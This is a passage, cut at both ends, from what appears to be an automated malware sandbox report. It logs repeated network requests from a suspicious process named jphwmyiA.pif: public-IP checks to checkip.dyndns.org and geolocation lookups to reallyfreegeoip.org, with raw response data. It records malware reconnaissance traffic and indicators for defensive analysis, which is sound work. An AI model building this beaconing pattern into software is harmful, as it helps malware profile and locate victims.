                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:36.378267050 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:36 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          19192.168.2.549946132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:36.956527948 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:37.751904011 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:37 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          20192.168.2.549947132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:37.102123976 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:37.882294893 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:37 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          21192.168.2.549960132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:38.406665087 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:39.287688017 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:39 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          22192.168.2.549961132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:38.607492924 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:39.533214092 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:39 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          23192.168.2.549974132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:39.909090996 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:40.722276926 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:40 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          24192.168.2.549975132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:40.169658899 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:40.973520041 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:40 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          25192.168.2.549990132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:41.592750072 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:42.391459942 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:42 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          HTTPS Proxied Packets

                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          0192.168.2.549795188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:18 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:19 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:19 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567508
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jvW10n%2B0lvp%2FX4gTxEqAFb2%2Fidv1DAzxLjZO8oB8c%2FajSRMU%2FxAMGUPsxJonH1wKEPREfySHc5zneMzObMEFDiXrQQ4tnfxARpiqcyAcTMwXzJifG4MLIvxo4N1b6ToyQ2Ut9OD5"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee05caa70c80-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1640&rtt_var=631&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1712609&cwnd=227&unsent_bytes=0&cid=e17fce7df765ad24&ts=261&x=0"
                                                                                                                                                          2025-01-07 12:25:19 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          1192.168.2.549802188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:20 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:20 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:20 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567509
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lgozNs%2BW50lQWWVWG4BhL9jaYAyqIM0IzrUD243f9bEQY2YTXRClULXhLKZ5GV%2FM0IXR%2FeoNS5MG7jOOqBzh7IWe7O9mNodYLNe%2BT%2BaDbPNz5AzXtvgKayTvEzGtShlf0SpKTQ62"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee0cca0c43a1-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1582&min_rtt=1573&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1772920&cwnd=233&unsent_bytes=0&cid=2ff7f62a18ff775f&ts=170&x=0"
                                                                                                                                                          2025-01-07 12:25:20 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          2192.168.2.549826188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:23 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:23 UTC857INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:23 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567513
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PvUIRp0SdqLjWvebqVYtA%2B8eNEB%2Bx60VyGOBZzJDv52nrUfoCGI4R0lhLRXP4eKZdp%2BtswIGGHp1JxuQNuN2gr4QXRthhF7sFWZriB0c9nvQwIgMNfn%2BbFHU0YxJ3KLHuENC0VSa"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee2439865e86-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2224&min_rtt=2212&rtt_var=853&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1264616&cwnd=240&unsent_bytes=0&cid=db593b24ad213e94&ts=154&x=0"
                                                                                                                                                          2025-01-07 12:25:23 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          3192.168.2.549843188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:26 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:26 UTC855INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:26 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567515
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TIbKmgzAAjG9yV2PKqUivRRXoq9Y%2BfWlVuoa0FaMYeeYPBAPql95dfl1dsXyazS8jJ0pzS7SyMbdVkQF6UyjUW8SuEwhvRCsyNoymgoCXl6vHqnaIPqPI%2BU%2FRIlC7Eld8uutVSZl"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee324eaa41d3-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1756&rtt_var=660&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1662870&cwnd=157&unsent_bytes=0&cid=b4eb3fc4bf87a399&ts=165&x=0"
                                                                                                                                                          2025-01-07 12:25:26 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          4192.168.2.549854188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:27 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:27 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:27 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567516
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0tqy%2FngOmjUfGCwE0FPNpbZ65sPVkxApjsNHdP3PsDL79nz3zKv%2B8igeWwVxVTGBVOZ82P5ifBVIM1uqZ9cih84bNDH9Q5Pa5LkJyd%2FParwDhEU9Rj9%2Fz%2Bjgl60HqFlgflR6jQse"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee3bdd5580d9-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1484&rtt_var=573&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1880231&cwnd=252&unsent_bytes=0&cid=736b4ee0c566f155&ts=157&x=0"
                                                                                                                                                          2025-01-07 12:25:27 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          5192.168.2.549866188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:29 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:29 UTC854INHTTP/1.1 200 OK
